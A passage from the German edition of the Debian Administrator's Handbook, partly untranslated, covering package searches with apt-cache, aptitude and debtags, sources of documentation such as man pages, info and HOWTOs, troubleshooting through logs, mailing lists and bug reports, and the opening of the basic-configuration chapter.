Auch die Rechner, die im Labor unter Testing laufen, werden – um von den neuesten Programmversionen zu profitieren – nicht automatisch aktualisiert. Die Administratoren konfigurieren APT, die Aktualisierungen vorzubereiten aber nicht durchzuführen. Wenn sie sich entschließen (manuell) zu aktualisieren, ist der lästige Teil des Paketlistenaktualisierens und Herunterladens der Pakete bereits erledigt und die Administratoren können sich auf das Wesentliche konzentrieren.

6.10. Pakete suchen

With the large and ever-growing amount of software in Debian, there emerges a paradox: Debian usually has a tool for most tasks, but that tool can be very difficult to find among the myriad other packages. The lack of appropriate ways to search for (and to find) the right tool has long been a problem. Fortunately, this problem has almost entirely been solved.

Die einfachst mögliche Suche ist die nach einem exakten Paketnamen. Wenn apt show Paket ein Ergebnis zurückliefert, existiert das Paket. Unglücklicherweise erfordert die, den Paketnamen zu wissen oder zumindest zu erraten, was nicht immer möglich ist.

TIPP Namenskonventionen für Pakete

In einigen Kategorien folgen Paketnamen festgelegten Namensschemen, diese Schemen zu kennen erlaubt es oft, den exakten Paketnamen zu erahnen. Beispielsweise besagt die Namenskonvention für Perl Module, dass ein Modul namens XML::Handler::Composer als libxml-handler-composer-perl paketiert werden sollte. Die Bibliothek, die Python die Nutzung des gconf Systems ermöglicht, ist als python-gconf paketiert. Leider ist es nicht möglich, ein einheitliches Namensschema für alle Pakete festzulegen, obwohl die Paketbetreuer normalerweise der Wahl der vorgelagerten Entwickler folgen.

Eine etwas erfolgreicheres Suchschema ist die Volltextsuche über die Paketnamen, wenn auch immer noch stark beschränkt. Im Allgemeinen lassen sich Resultate durch die Suche in den Paketbeschreibungen erzielen: Da jedes Paket über eine mehr oder weniger detailierte Beschreibung verfügt, wird eine Schlagwortsuche in diesen Beschreibungen oftmals erfolgreich sein. apt-cache und axi-cache sind das Mittel der Wahl für diese Art der Suche (siehe auch ALTERNATIVE axi-cache); beispielsweise liefert apt-cache search video eine Liste aller Pakete deren Name oder Beschreibung das Schlagwort "video" enthält.

Komplexere Suchen erfordern ein mächtigeres Werkzeug wie aptitude. aptitude erlaubt es Ihnen, nach logischen Ausdrücken, basierend auf den Metadatenfeldern der Pakete zu suchen. Beispielsweise sucht der folgende Befehl nach Paketen, deren Name kino enthält, deren Beschreibung video enthält und deren Betreuernamen paul enthält:

$ aptitude search kino~dvideo~mpaul p kino - Non-linear editor for Digital Video data $ aptitude show kino Package: kino Version: 1.3.4+dfsg0-1.1 State: not installed Priority: optional Section: video Maintainer: Paul Brossier <piem@debian.org> Architecture: amd64 Uncompressed Size: 8,316 k Depends: libasound2 (>= 1.0.16), libavc1394-0 (>= 0.5.3), libavcodec58 (>= 7:4.2), libavformat58 (>= 7:4.2), libavutil56 (>= 7:4.0), libc6 (>= 2.29), libdv4 (>= 1.0.0), libgcc-s1 (>= 3.0), libgdk-pixbuf-2.0-0 (>= 2.22.0), libglade2-0 (>= 1:2.6.4-2~), libglib2.0-0 (>= 2.12.0), libgtk2.0-0 (>= 2.24.0), libiec61883-0 (>= 1.2.0), libpango-1.0-0 (>= 1.14.0), libpangoft2-1.0-0 (>= 1.14.0), libquicktime2 (>= 2:1.2.2), libraw1394-11 (>= 2.1.2), libsamplerate0 (>= 0.1.7), libstdc++6 (>= 9), libswscale5 (>= 7:4.0), libx11-6, libxext6, libxml2 (>= 2.7.4), libxv1 Recommends: ffmpeg, curl Suggests: udev | hotplug, vorbis-tools, sox, mjpegtools, lame, ffmpeg2theora Conflicts: kino-dvtitler, kino-timfx, kinoplus, kino-dvtitler:i386, kino-timfx:i386, kinoplus:i386, kino:i386 Replaces: kino-dvtitler, kino-timfx, kinoplus, kino-dvtitler:i386, kino-timfx:i386, kinoplus:i386 Provides: kino-dvtitler, kino-timfx, kinoplus Description: Non-linear editor for Digital Video data Kino allows you to record, create, edit, and play movies recorded with DV camcorders. This program uses many keyboard commands for fast navigating and editing inside the movie. The kino-timfx, kino-dvtitler and kinoplus sets of plugins, formerly distributed as separate packages, are now provided with Kino. Homepage: http://www.kinodv.org/ Tags: field::arts, hardware::camera, implemented-in::c, implemented-in::c++, interface::graphical, interface::x11, role::program, scope::application, suite::gnome, uitoolkit::gtk, use::editing, use::learning, works-with::video, x11::application

Die Suche liefert nur ein Ergebnis, kino, auf das alle drei Kriterien zutreffen.

Even these multi-criteria searches are rather unwieldy, which explains why they are not used as much as they could. A new tagging system has therefore been developed, and it provides a new approach to searching. Packages are given tags that provide a thematic classification along several strands, known as a “facet-based classification”. In the case of kino above, the package's tags indicate that Kino is a Gnome-based software that works on video data and whose main purpose is editing.

Browsing this classification can help you to search for a package which corresponds to known needs; even if it returns a (moderate) number of hits, the rest of the search can be done manually. To do that, you can use the ~G search pattern in aptitude, but it is probably easier to simply navigate the site where tags are managed or use the debtags command:

→ https://debtags.debian.org/

$ debtags search "works-with::video && use::editing"

Die Schlagworte works-with::video and use::editing liefern eine handvoll Pakete, unter anderem die Video-Bearbeitungsprogramme kino und pitivi. Dieses Klassifizierungssystem wird immer stärker genutzt werden und die Paket-Verantwortlichen werden nach und nach effiziente Suchen auf dieser Grundlage zur Verfügung stellen.

Zusammenfassend wird das beste Werkzeug für die Aufgabe durch die Komplexität der durchzuführenden Suche bestimmt:

apt-cache sucht nur in Paketnamen und Beschreibungen, was sehr bequem ist, wenn Sie nach bestimmten Paketen suchen, auf die wenige Schlagworte passen;

wenn die Suche ebenfalls Beziehungen zwischen Paketen und andere Metadaten wie den Betreuernamen umfasst, wird synaptic nützlicher sein;

wenn eine Markierungs-basierte Suche nötig ist, ist packagesearch ein gutes Werkzeug: eine grafische Oberfläche zur Suche verfügbarer Pakete neben verschiedenen anderen Kriterien (inklusive der Namen der enthaltenen Dateien). Auf der Kommandozeile erledigt axi-cache diese Aufgabe.

schlussendlich, wenn die Suche komplexe Ausdrücke mit logischen Operatoren erfordert, wird aptitude mit seiner etwas obskuren aber mächtigen Suchmuster-Syntax das Mittel der Wahl sein; es funktioniert auf der Kommandozeile ebenso wie im interaktiven Modus.

Kapitel 7. Probleme lösen und relevante Informationen finden

Die wichtigste Fähigkeit eines Administrators besteht darin, jede bekannte oder unbekannte Situation meistern zu können. Dieses Kapitel zeigt eine Reihe von Methoden auf, die es Ihnen - hoffentlich - ermöglichen, die Ursache jeden Problems, das Ihnen begegnet, einzugrenzen, sodass Sie es lösen können.

7.1. Dokumentationsquellen

Bevor Sie verstehen können, was tatsächlich vor sich geht, wenn Ihnen ein Problem begegnet, müssen Sie die theoretische Rolle kennen, die jedes an dem Problem beteiligte Programm spielt. Hierbei besteht die beste Reaktion darin, zunächst in ihrer Dokumentation nachzuschlagen; da diese Dokumentation jedoch umfangreich und weit verstreut ist, sollten Sie wissen, wo sie zu finden ist.

7.1.1. Handbuchseiten

KULTUR RTFM

Dieses Akronym steht für „Read the F***ing Manual“ (Lies das verdammte Handbuch), aber es kann auch zu einer freundlicheren Variante erweitert werden: „Read the Fine Manual“ (Lies das gute Handbuch). Dieser Satz wird manchmal in (knappen) Erwiderungen auf Fragen von Neulingen benutzt. Er ist ziemlich schroff und zeigt eine gewisse Verärgerung über eine Frage, die von jemandem gestellt wird, der sich nicht einmal die Mühe gemacht hat, die Dokumentation zu lesen. Manche sagen, diese klassische Erwiderung sei besser als überhaupt keine (weil sie darauf hindeutet, dass die Dokumentation die gesuchte Information enthält) oder besser als eine ausführlichere, aber ärgerliche Antwort.

In jedem Fall ist es besser, es nicht übel zu nehmen, wenn Ihnen jemand mit „RTFM“ antwortet. Da diese Antwort irritierend sein kann, sollten Sie jedoch versuchen, sie nicht zu bekommen. Falls die Informationen, die Sie benötigen, nicht im Handbuch zu finden sind (was vorkommen kann), sollten Sie dies vorzugsweise in Ihrer ersten Frage erwähnen. Sie sollten auch die verschiedenen Schritte beschreiben, die Sie persönlich auf der Suche nach Informationen bereits unternommen haben, bevor Sie dem Forum die Frage gestellt haben. Am besten Sie befolgen die Empfehlungen von Eric Raymond um die häufigsten Fehler zu vermeiden und eine hilfreiche Antwort zu bekommen.

→ http://catb.org/~esr/faqs/smart-questions.html

Handbuchseiten enthalten in knapper Form sehr viele grundlegende Informationen. Wir wollen kurz auf den Befehl aus dem Paket man-db eingehen, mit dem sie aufgerufen werden. Geben Sie einfach man Handbuchseite ein - die Handbuchseite heißt normalerweise genauso wie der Befehl, dessen Dokumentation Sie suchen. Um zum Beispiel die möglichen Optionen des Befehls cp herauszufinden, geben Sie an der Eingabeaufforderung man cp ein (siehe Seitenleiste ZURÜCK ZU DEN GRUNDLAGEN Die Shell, ein Befehlszeileninterpreter).

ZURÜCK ZU DEN GRUNDLAGEN Die Shell, ein Befehlszeileninterpreter

Ein Befehlszeileninterpreter, auch „Shell“ genannt, ist ein Programm, das Befehle ausführt, die entweder vom Benutzer eingegeben werden oder in einem Skript gespeichert sind. Im interaktiven Modus zeigt es eine Eingabeaufforderung an (die für einen normalen Benutzer gewöhnlich mit $ endet und für einen Administrator mit #), die erkennen lässt, dass es bereit ist, einen neuen Befehl entgegenzunehmen. Anhang B, Kurzer Förderkurs beschreibt die Grundlagen der Shell-Verwendung.

Die vorgegebene und am meisten genutzte Shell ist bash (Bourne Again SHell). Es gibt jedoch auch andere wie dash, csh, tcsh undzsh.

Unter anderem bieten die meisten Shells während einer Eingabe an der Eingabeaufforderung Hilfen (type help) an, wie die Vervollständigung eines Befehls oder Dateinamens (die Sie normalerweise durch Drücken der Tabulatortaste auslösen) oder das erneute Aufrufen vorheriger Befehle (Verlaufsmanagement; d.h. überprüfen Sie die Zuordnungen für "Seite hoch" und "Seite runter" in /etc/inputrc).

Handbuchseiten dokumentieren nicht nur Programme und Befehle, die über die Befehlszeile erreichbar sind, sondern auch Konfigurationsdateien, Systemaufrufe, Bibliotheksfunktionen und so weiter. Manchmal kann es dabei zu Namenskollisionen kommen. Zum Beispiel hat der Shellbefehl read denselben Namen wie der Systemaufruf read. Daher sind Handbuchseiten in nummerierte Abschnitte gegliedert:

1

Befehle, die von der Befehlszeile aus ausgeführt werden können;

2

Systemaufrufe (vom Kernel bereitgestellte Funktionen);

3

Bibliotheksfunktionen (von Systembibliotheken bereitgestellt);

4

Geräte (bei Unix-ähnlichen Systemen sind dies besondere Dateien, die sich normalerweise im Verzeichnis /dev/ befinden);

5

Konfigurationsdateien (Formate und Konventionen);

6

Spiele;

7

Zusammenstellungen von Makros und Standards;

8

Systemverwaltungsbefehle;

9

Kernelroutinen.

Man kann den Abschnitt der Handbuchseite, nach dem man sucht, angeben: um die Dokumentation des Systemaufrufs read nachzuschlagen, geben Sie man 2 read ein. Wenn kein Abschnitt ausdrücklich angegeben wird, wird der erste Abschnitt, der eine Handbuchseite mit dem gesuchten Namen hat, angezeigt. So liefert man shadow die Ausgabe shadow(5), da es in den Abschnitten 1 bis 4 keine Handbuchseiten für shadow gibt.

HINWEIS whatis

Wenn Sie sich nicht die vollständige Handbuchseite durchlesen möchten, sondern nur eine kurze Beschreibung, um sicher zu sein, dass es das ist, wonach Sie suchen, geben Sie einfach whatis befehl ein.

$ whatis scp scp (1) - OpenSSH secure file copy

Diese kurze Beschreibung ist auch im Abschnitt NAME am Anfang jeder Handbuchseite enthalten.

Falls Sie die Namen der Befehle nicht kennen, ist das Handbuch für Sie natürlich nicht sehr nützlich. Hierfür gibt es den Befehl apropos, der Ihnen hilft, die Handbuchseiten, oder genauer gesagt, ihre Kurzbeschreibungen zu durchsuchen. Jede Handbuchseite beginnt grundsätzlich mit einer einzeiligen Zusammenfassung. Der Befehl apropos zeigt eine Liste derjenigen Handbuchseiten an, in deren Zusammenfassung die gesuchten Stichwörter enthalten sind. Wenn Sie sie gut auswählen, werden Sie den Namen des benötigten Befehls finden.

Beispiel 7.1. Den Befehl cp mit apropos finden

$ apropos "copy file" cp (1) - copy files and directories cp (1posix) - copy files cpio (1) - copy files to and from archives exec (1posix) - execute commands and open, close, or copy file descriptors install (1) - copy files and set attributes ntfscp (8) - copy file to an NTFS volume.

HINWEIS

Viele Handbuchseiten haben, gewöhnlich am Ende, einen „Siehe auch“-Abschnitt. Er verweist auf andere Handbuchseiten, die zu ähnlichen Befehlen gehören, oder auf externe Dokumentationen. Auf diese Weise ist es möglich, sachdienliche Auskünfte zu finden, selbst wenn die erste Auswahl nicht optimal war.

Der Befehl man ist nicht das einzige Mittel, um Handbuchseiten nachzuschlagen, da die Programme khelpcenter und konqueror (in KDE) und yelp (unter GNOME) diese Möglichkeit ebenfalls bieten. Es gibt auch eine Web-Schnittstelle, die vom Paket man2html bereitgestellt wird und es ermöglicht, Handbuchseiten in einem Webbrowser anzusehen. Auf einem Rechner, auf dem dieses Paket installiert ist, befolgen Sie die zuerst die Anweisungen unter /usr/share/doc/man2html/README.Debian und nutzen Sie dann olgenden Link:

→ http://localhost/cgi-bin/man/man2html

Dieses Hilfsprogramm benötigt einen Webserver. Deshalb sollten Sie dieses Paket auf einem Ihrer Server installieren: Alle Nutzer des lokalen Netzwerks können so von diesem Dienst profitieren (auch Nicht-Linux-Rechner), und Sie ersparen es sich, auf jedem Arbeitsplatzrechner einen HTTP-Server einzurichten. Wenn Ihr Server auch von anderen Netzwerken aus erreichbar ist, sollten Sie den Zugriff auf diesen Dienst besser auf die Nutzer des lokalen Netzwerks beschränken.

zu guter letzt können Sie alle in Debian verfügbaren Handbuchseiten (auch diejenigen, die nicht auf Ihrem Computer installiert sind) auf der Seite manpages.debian.org ansehen. Es bietet jede Handbuchseite in mehreren Versionen, eine für jede Debian-Version.

→ https://manpages.debian.org

DEBIAN-RICHTLINIEN Vorgeschriebene Handbuchseiten

Debian verlangt, dass jedes Programm eine Handbuchseite hat. Wenn der Autor eines Programms keine bereitstellt, wird der Debian-Paketbetreuer normalerweise eine kurze Seite verfassen, die den Leser zumindest auf den Ort der Originaldokumentation verweist.

7.1.2. info-Dokumente

Das GNU-Projekt hat für die meisten seiner Programme Handbücher im info-Format geschrieben. Deshalb beziehen sich viele Handbuchseiten auf die entsprechende info-Dokumentation. Dieses Format bietet einige Vorteile, jedoch ist das Standardprogramm zur Betrachtung dieser Dokumente (es heißt info) etwas komplizierter. Sie sollten stattdessen pinfo verwenden (aus dem Paket pinfo).

Die Dokumentation info hat eine hierarchische Struktur, und wenn Sie pinfo ohne Parameter aufrufen, wird eine Liste der auf der ersten Ebene verfügbaren Knoten angezeigt. Normalerweise tragen Knoten den Namen der entsprechenden Befehle.

Mit pinfo ist die Navigation zwischen diesen Knoten mit den Pfeiltasten einfach. Alternativ können Sie auch einen grafischen Browser verwenden, was wesentlich benutzerfreundlicher ist. Auch hier gilt: konqueror und yelp funktionieren; das Paket info2wwww bietet auch ein Web-Interface.

→ http://localhost/cgi-bin/info2www

Beachten Sie, dass das info-System nicht für die Übersetzung geeignet ist, im Gegensatz zum manpage-System. info-Dokumente sind daher fast immer in Englisch. Wenn Sie jedoch das Programm pinfo beauftragen, eine nicht existierende info Seite anzuzeigen, wird es (falls vorhanden) auf die man-Seite mit dem gleichen Namen zurückgreifen, die übersetzt sein könnte.

7.1.3. Konkrete Dokumentation

Jedes Paket verfügt über seine eigene Dokumentation. Sogar die am wenigsten dokumentierten Programme haben wenigstens eine README-Datei, die interessante und wichtige Informationen enthält. Diese Dokumentation ist im Verzeichnis /usr/share/doc/Paket/ installiert (wobei Paket dem Namen des Pakets entspricht). Falls die Dokumentation außergewöhnlich groß ist, muss sie nicht unbedingt im Hauptpaket eines Programms enthalten sein, sondern kann in ein speziell hierfür vorgesehenes Paket ausgelagert sein, das dann üblicherweise Paket-doc heißt. Das Hauptprogramm empfiehlt im Allgemeinen die Installation des Dokumentationspakets, sodass Sie es leicht finden können.

Das Verzeichnis /usr/share/doc/paket/ enthält auch einige von Debian bereitgestellte Dateien, die die Dokumentation vervollständigen, indem sie die Besonderheiten des Pakets genauer beschreiben oder seine Verbesserungen im Vergleich zu einer herkömmlichen Installation der Software. Die Datei README.Debian weist auf alle Anpassungen hin, die vorgenommen wurden, um den Debian-Richtlinien zu entsprechen. Die Datei changelog.Debian.gz gibt dem Anwender die Möglichkeit, die Veränderungen nachzuvollziehen, die an einem bestimmten Paket im Laufe der Zeit vorgenommen wurden: es ist sehr hilfreich, die Veränderungen zwischen zwei installierten Versionen, die sich nicht gleich verhalten, zu verstehen. Schließlich gibt es manchmal auch eine Datei namens NEWS.Debian.gz, die die wesentlichen für einen Administrator wichtigen Änderungen eines Programms erläutert. (siehe auch Abschnitt 6.7.2, „Problembehandlung nach einer Aktualisierung“).

7.1.4. Webseiten

In most cases, free software programs have websites that are used to distribute it and to bring together the community of its developers and users. These sites are frequently loaded with relevant information in various forms: official documentation, FAQ (Frequently Asked Questions), mailing list archives, etc. Problems that you may encounter have often already been the subject of many questions; the FAQ or mailing list archives may have a solution for it. A good mastery of search engines will prove immensely valuable to find relevant pages quickly (by restricting the search to the Internet domain or sub-domain dedicated to the program). If the search returns too many pages or if the results do not match what you seek, you can add the keyword debian to limit results and target relevant information.

HINWEIS Vom Fehler zur Lösung

Falls die Software eine sehr konkrete Fehlermeldung ausgibt, können Sie sie in eine Suchmaschine eingeben (in Anführungszeichen, ", um nicht nach einzelnen Stichwörtern, sondern nach dem ganzen Ausdruck zu suchen). In den meisten Fällen werden die ersten Verweise, die angezeigt werden, bereits die von Ihnen benötigte Antwort enthalten.

In anderen Fällen werden Sie sehr allgemeine Fehlermeldungen erhalten, wie zum Beispiel „Permission denied“. Dann ist es am besten, die Benutzerrechte der beteiligten Elemente (Dateien, User-ID, Gruppen usw.) zu überprüfen.

Falls Sie die Adresse der Webseite einer Software nicht kennen, gibt es verschiedene Wege, sie zu finden. Zunächst überprüfen Sie, ob es eine Homepage-Zeile in der Meta-Information des Pakets gibt (apt show Paket). Daneben kann auch die Paketbeschreibung einen Verweis auf die offizielle Webseite des Programms enthalten. Falls keine URL angegeben ist, sehen Sie unter /usr/share/doc/Paket/copyright nach. Im Allgemeinen gibt der Debianbetreuer in dieser Datei an, woher er den Quellcode des Programms bezogen hat, und dies ist wahrscheinlich die Webseite, die Sie suchen. Falls Ihre Suche an dieser Stelle immer noch ergebnislos ist, können Sie ein Verzeichnis mit freier Software zu Rate ziehen, wie z.B. das Freie Software-Verzeichnis der FSF, oder suchen Sie direkt mit einer Suchmaschine wie Google, DuckDuckGo, Yahoo, etc.

→ https://directory.fsf.org/wiki/Main_Page

You might also want to check the Debian wiki, a collaborative website where anybody, even new visitors, can make suggestions directly from their browsers. It is used equally by developers who design and specify their projects, and by users who share their knowledge by writing documents collaboratively.

→ https://wiki.debian.org/

7.1.5. Anleitungen (HOWTO)

Ein HOWTO ist ein Dokument, das konkret und Schritt für Schritt beschreibt, wie man ein bestimmtes Ziel erreicht. Die behandelten Themen sind recht vielfältig, aber häufig technischer Natur: zum Beispiel das Einrichten eines IP-Masquerading, das Konfigurieren eines Software-RAIDs, das Installieren eines Samba-Servers usw. Diese Dokumente versuchen häufig, alle Probleme abzudecken, die während der Anwendung einer bestimmten Technologie möglicherweise auftreten könnten.

Many such tutorials are managed by the Linux Documentation Project (LDP), whose website hosts all of these documents:

→ https://www.tldp.org/

Debian stellt auch Tutorials für seine Benutzer bereit:

→ https://www.debian.org/doc/

All these documents should be taken with a grain of salt. They are often several years old; the information they contain is sometimes obsolete. This phenomenon is even more frequent for their translations, since updates are neither systematic nor instant after the publication of a new version of the original documents. Further many tutorials nowadays are provided by bloggers, sharing their individual solution with the interested reader. They often lack important information, i.e. the reason why some configuration has been chosen over another, or why some option has been enabled or disabled. Because blogging and creating personal websites made it so easy to share, many of these often short tutorials exist, but only a few are actively maintained and well-kept. This can make it hard to find the "right" one for you. This is all part of the joys of working in a volunteer environment and without constraints…

7.2. Allgemeine Verfahren

Dieser Abschnitt dient dazu, einige allgemeine Tipps zu bestimmten Tätigkeiten zu geben, die ein Administrator häufig durchführen muss. Diese Verfahren werden natürlich nicht jeden denkbaren Fall in aller Ausführlichkeit abdecken, aber sie können als Ausgangspunkt für schwierigere Fälle dienen.

ENTDECKUNG Dokumentation in anderen Sprachen

Häufig ist eine Dokumentation, die in eine nicht-englische Sprache übersetzt wurde, in einem gesonderten Paket verfügbar mit dem Namen des dazugehörigen Pakets gefolgt von -lang (wobei lang der zweistellige ISO-Code dieser Sprache ist).

Zum Beispiel ist das debian-reference-de-Paket die deutsche Version der Referenzhandbücher für Debian (ursprünglich von Osamu Aoki auf Englisch geschrieben) und das manpages-de-Paket enthält die deutsche Version der Handbuchseiten über die Verwendung von GNU/Linux.

7.2.1. Ein Programm konfigurieren

When you want to configure an unknown package, you must proceed in stages. First, you should read what the package maintainer has documented. Reading /usr/share/doc/package/README.Debian will allow you to learn of specific provisions made to simplify the use of the software. It is sometimes essential in order to understand the differences from the original behavior of the program, as described in the general documentation, such as howtos. Sometimes this file also details the most common errors in order for you to avoid wasting time on common problems.

Anschließend sollten Sie einen Blick auf die offizielle Dokumentation der Software werfen - sehen Sie in Abschnitt 7.1, „Dokumentationsquellen“ nach, um die verschiedenen vorhandenen Dokumentationsquellen zu ermitteln. Der Befehl dpkg -L paket gibt eine Liste der in dem Paket enthaltenen Dateien aus; so können sie schnell feststellen, welche Dokumentation verfügbar ist (wie auch die in /etc/ befindlichen Konfigurationsdateien). dpkg -s paket führt die Paket-Header auf und zeigt alle möglichen empfohlenen oder vorgeschlagenen Pakete an; darin können sie die Dokumentation finden oder ein Hilfsprogramm, das die Konfigurierung der Software erleichtert.

Schließlich sind auch die Konfigurationsdateien häufig intern mit zahlreichen erklärenden Kommentaren versehen, die die verschiedenen möglichen Werte für jede Konfigurationseinstellung im Einzelnen darlegen. Und zwar so konkret, dass es häufig ausreicht, eine der verfügbaren Zeilen zu aktivieren. Manchmal werden auch Fallbeispiele der Konfigurationsdateien im Verzeichnis /usr/share/doc/paket/examples/ bereitgestellt. Sie können als Basis für Ihre eigene Konfigurationsdatei dienen.

DEBIAN-RICHTLINIEN Speicherort von Beispielen

Alle Beispiele sollten in das Verzeichnis /usr/share/doc/paket/examples/ installiert werden. Dies kann eine Konfigurationsdatei, ein Programm-Quellcode (ein Beispiel für die Verwendung einer Bibliothek) oder ein Skript zur Datenkonvertierung sein, das der Administrator in bestimmten Fällen benutzen kann (um zum Beispiel eine Datenbank anzulegen). Falls das Beispiel nur für eine bestimmte Architektur gültig ist, sollte es nach /usr/lib/paket/examples/ installiert werden, und Sie sollten dann einen Verweis auf diese Datei im Verzeichnis /usr/share/doc/paket/examples/ anlegen.

7.2.2. Das Verhalten der Daemons (Hintergrundprozesse) überwachen

Was ein Daemon tut ist etwas komplizierter, da dieser nicht direkt mit dem Administrator interagiert. Um zu überprüfen, ob ein Daemon tatsächlich läuft, müssen Sie ihn testen. Um zum Beispiel Apache (Webserver-Daemon) zu überprüfen, testen Sie ihn mit einer HTTP-Anforderung.

ZURÜCK ZU DEN GRUNDLAGEN Daemon

Ein Daemon ist ein Programm, das nicht ausdrücklich vom Nutzer aufgerufen wird, sondern im Hintergrund auf das Eintreten bestimmter Bedingungen wartet, bevor es eine Aufgabe ausführt. Viele Serverprogramme sind Daemons, ein Begriff, der erklärt, warum am Ende ihres Namens häufig der Buchstabe „d“ steht (sshd, smtpd, httpd usw.).

Um solche Tests zu ermöglichen, protokolliert ein Daemon normalerweise alles, was er tut, sowie auch alle Fehler, die ihm begegnen, in sogenannten „Protokolldateien“ oder „Systemprotokollen“. Protokolle werden im Verzeichnis /var/log/ oder einem seiner Unterverzeichnisse gespeichert. Um für jeden Daemon den genauen Namen der Protokolldatei herauszufinden, sehen Sie in seiner Dokumentation nach. Hinweis: Ein einzelner Test ist nicht immer ausreichend, wenn er nicht alle etwaigen Anwendungsfälle abdeckt; einige Probleme treten nur unter ganz bestimmten Umständen auf.

HILFSPROGRAMM Der Daemon rsyslogd

rsyslogd ist etwas Besonderes: Er sammelt Protokolle (interne Systemnachrichten), die ihm von anderen Programmen zugeschickt werden. Jeder Protokolleintrag ist einem Subsystem (e-Mail, Kernel, Legitimation usw.) und einer Priorität zugeordnet; rsyslogd verarbeitet diese Zwei-Bit-Information, um zu entscheiden, was zu tun ist. Die Protokollnachricht kann in unterschiedlichen Protokolldateien aufgezeichnet werden oder an eine Administrationskonsole geschickt werden. Die Einzelheiten sind in der Konfigurationsdatei /etc/rsyslog.conf festgelegt (und in der Handbuchseite gleichen Namens dokumentiert, die im Paket rsyslog-doc enthalten ist).

Bestimmte C-Funktionen, die auf das Versenden von Protokollen spezialisiert sind, vereinfachen die Verwendung des Daemons rsyslogd. Jedoch verwalten einige Daemons ihre eigenen Protokolldateien (dies gilt zum Beispiel für samba, der Windows-Freigaben auf Linux realisiert).

Beachten Sie, dass, wenn systemd verwendet wird, die Protokolle tatsächlich von systemd gesammelt werden, bevor sie an rsyslogd weitergeleitet werden. Sie sind somit auch über systemd's journal verfügbar und können mit journalctl eingesehen werden (siehe Abschnitt 9.1.1, „Das systemd Initialisierungssystem“ für Details).

As a preventive operation, the administrator should regularly read the most relevant server logs. They can thus diagnose problems before they are even reported by disgruntled users. Indeed users may sometimes wait for a problem to occur repeatedly over several days before reporting it. In many cases, there are specific tools to analyze the contents of the larger log files. In particular, such utilities exist for web servers (such as analog, awstats, awffull for Apache), FTP servers, proxy/cache servers, firewalls, e-mail servers, DNS servers, and even for print servers. Other tools, such as logcheck (a software discussed in Kapitel 14, Sicherheit), scan these files in search of alerts to be dealt with.

7.2.3. In einer Mailingliste um Hilfe bitten

Falls alle Ihre Suchen Ihnen nicht geholfen haben, zum Kern des Problems vorzudringen, ist es möglich, Hilfe von anderen, möglicherweise erfahreneren Leuten zu bekommen. Dies ist genau der Zweck der Mailingliste <debian-user@lists.debian.org> und ihrer sprachspezifischen Geschwister <debian-user-Sprache@lists.debian.org>. Wie bei jeder Gemeinschaft hat sie Regeln, die zu befolgen sind. Bevor Sie eine Frage stellen, sollten Sie überprüfen, ob das Problem nicht bereits durch noch nicht lange zurückliegende Diskussionen oder durch eine offizielle Dokumentation abgedeckt ist.

→ https://wiki.debian.org/DebianMailingLists

→ https://lists.debian.org/debian-user/

→ https://lists.debian.org/users.html

ZURÜCK ZU DEN GRUNDLAGEN Geltende Netiquette

Grundsätzlich sollten die Regeln der Netiquette bei allen Schriftwechseln mit E-Mail-Listen befolgt werden. Dieser Begriff bezieht sich auf eine Reihe von Regeln des gesunden Menschenverstandes, von allgemeiner Höflichkeit bis zu Fehlern, die vermieden werden sollten.

→ https://tools.ietf.org/html/rfc1855

Außerdem sind Sie für jeden Kommunikationskanal, der vom Debian-Projekt verwaltet wird, an den Debian-Verhaltenskodex gebunden:

→ https://www.debian.org/code_of_conduct

Treffen diese beiden Bedingungen zu, können Sie daran gehen, Ihr Problem in der Mailingliste zu beschreiben. Fügen Sie möglichst viele sachdienliche Informationen bei: verschiedene Tests, die Sie durchgeführt haben, Dokumentationen, die Sie zurate gezogen haben, wie Sie versucht haben, das Problem zu einzugrenzen, die betroffenen oder möglicherweise beteiligten Pakete, usw. Überprüfen Sie die Debian-Fehlerdatenbank (BTS, in der Seitenleiste Abschnitt 1.3.2.1, „Fehler melden“ beschrieben) auf ähnliche Probleme und erwähnen Sie die Ergebnisse dieser Überprüfung, indem Sie Verweise zu den Fehlern, die Sie gefunden haben, angeben. Das BTS beginnt auf

→ https://bugs.debian.org/

Je höflicher und genauer Sie sind, desto größer sind Ihre Aussichten, eine Lösung zu erhalten oder doch wenigstens Teile einer Antwort. Falls Sie passende Informationen über private E-Mails erhalten, sollten Sie in Betracht ziehen, diese öffentlich zusammenzufassen, so dass sie auch anderen nützen. Das ermöglicht Anderen, die vielleicht das gleiche Problem haben, mit verschiedenen Suchmaschinen in den Archiven der Mailingliste die Problemlösung zu finden.

7.2.4. Einen Fehler melden, wenn ein Problem zu schwierig ist

Wenn alle Ihre Versuche, ein Problem zu lösen, fehlschlagen, ist es möglich, dass die Lösung nicht in Ihrem Verantwortungsbereich liegt, und dass das Problem von einem Programmfehler hervorgerufen wird. In diesem Fall besteht die richtige Vorgehensweise darin, den Fehler an Debian oder direkt an die ursprünglichen Entwickler zu melden. Hierzu grenzen Sie das Problem möglichst weitgehend ein und erstellen eine minimale Testsituation, in der er reproduziert werden kann. Wenn Sie wissen, welches Programm offensichtlich der Grund für das Problem ist, können Sie das dazugehörige Paket mit dem Befehl dpkg -S betroffene_datei finden. Überprüfen Sie die Fehlerdatenbank (https://bugs.debian.org/paket), um sicherzustellen, dass der Fehler nicht bereits gemeldet worden ist. Sie können dann Ihren eigenen Fehlerbericht mit dem Befehl reportbug einsenden, einschließlich möglichst vieler Informationen, insbesondere einer vollständigen Beschreibung der minimalen Testfälle, die es jedem ermöglichen, den Fehler zu reproduzieren.

Die Teile dieses Kapitels zeigen Methoden, Probleme effektiv zu lösen, die die folgenden Kapitel hervorrufen könnten. Benutzen Sie sie so oft wie nötig!

Kapitel 8. Basis-Konfigurierung: Netzwerk, Benutzerkonten, Drucken...

Ein Rechner mit einer neuen Installation, die mit debian-installer erstellt wurde, sollte möglichst weitgehend funktionsfähig sein, aber viele Dienste müssen noch konfiguriert werden. Außerdem ist es immer gut, wenn man weiß, wie bestimmte Konfigurationselemente, die während des ursprünglichen Installationsprozesses festgelegt wurden, geändert werden.

In diesem Kapitel wird all das besprochen, was wir „Basis-Konfigurierung“ nennen: Netzwerkbetrieb, Sprache und Sprachumgebungen, Benutzer und Gruppen, Drucken, Einhängepunkte usw.

8.1. Das System für eine andere Sprache konfigurieren

Falls das System auf Französisch installiert wurde, wird der Rechner wahrscheinlich schon Französisch als Sprache voreingestellt haben. Aber es ist gut zu wissen, was der Installer macht, um die Sprache einzustellen, so dass Sie sie später, falls nötig, ändern können.

HILFSPROGRAMM Der Befehl locale zur Anzeige der aktuellen Konfiguration

